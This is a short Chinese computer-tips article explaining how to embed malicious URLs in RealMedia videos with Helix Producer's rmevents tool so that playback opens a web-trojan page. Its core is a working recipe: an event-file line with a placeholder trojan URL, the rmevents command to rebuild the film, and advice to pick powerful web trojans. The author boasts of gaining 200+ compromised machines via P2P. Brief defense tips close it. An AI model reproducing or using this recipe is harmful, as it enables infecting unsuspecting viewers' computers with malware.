萬盛學電腦網

您现在的位置: 萬盛學電腦網 >> 電腦基礎知識 >  >> 健康知識

Real影片暗藏木馬:Helix Producer修改剪輯信息植入惡意URL實測

P2P網絡(如PP點點通)中大量Real影片(.rm)被植入木馬。作者實測兩天獲200+「肉雞」,增長呈幾何級數。技術原理極簡:

制作流程

  1. 新建 rmevents.txt,寫入:
    u 00:01:00.0 00:01:30.0 https://惡意木馬頁面地址
    含義:播放至 1分0秒~1分30秒 區間自動打開指定URL。
  2. 執行命令:
    rmevents -i 電影.rm -e rmevents.txt -o 電影1.rm
    生成 電影1.rm 即帶木馬觸發器的影片。
  3. URL可指向任意網頁木馬:iframe溢出、EXE2BMP、CHM、動態網頁木馬等,以「新、威力強」為選擇標準。

防禦五招

  1. 不看不健康視頻(根源斷鏈)。
  2. 更換播放器(推薦夢幻鼎點播放器)。
  3. 防火牆封鎖 RealPlayer 網絡訪問(但在線觀看失效)。
  4. 打齊所有 IE 補丁。
  5. 觀看前用同樣工具清空 rmevents.txt 重新封裝,剔除惡意剪輯信息。

技術本身中性,關鍵在於使用者意圖。勿以惡小而為之,勿以善小而不為。

copyright © 萬盛學電腦網 all rights reserved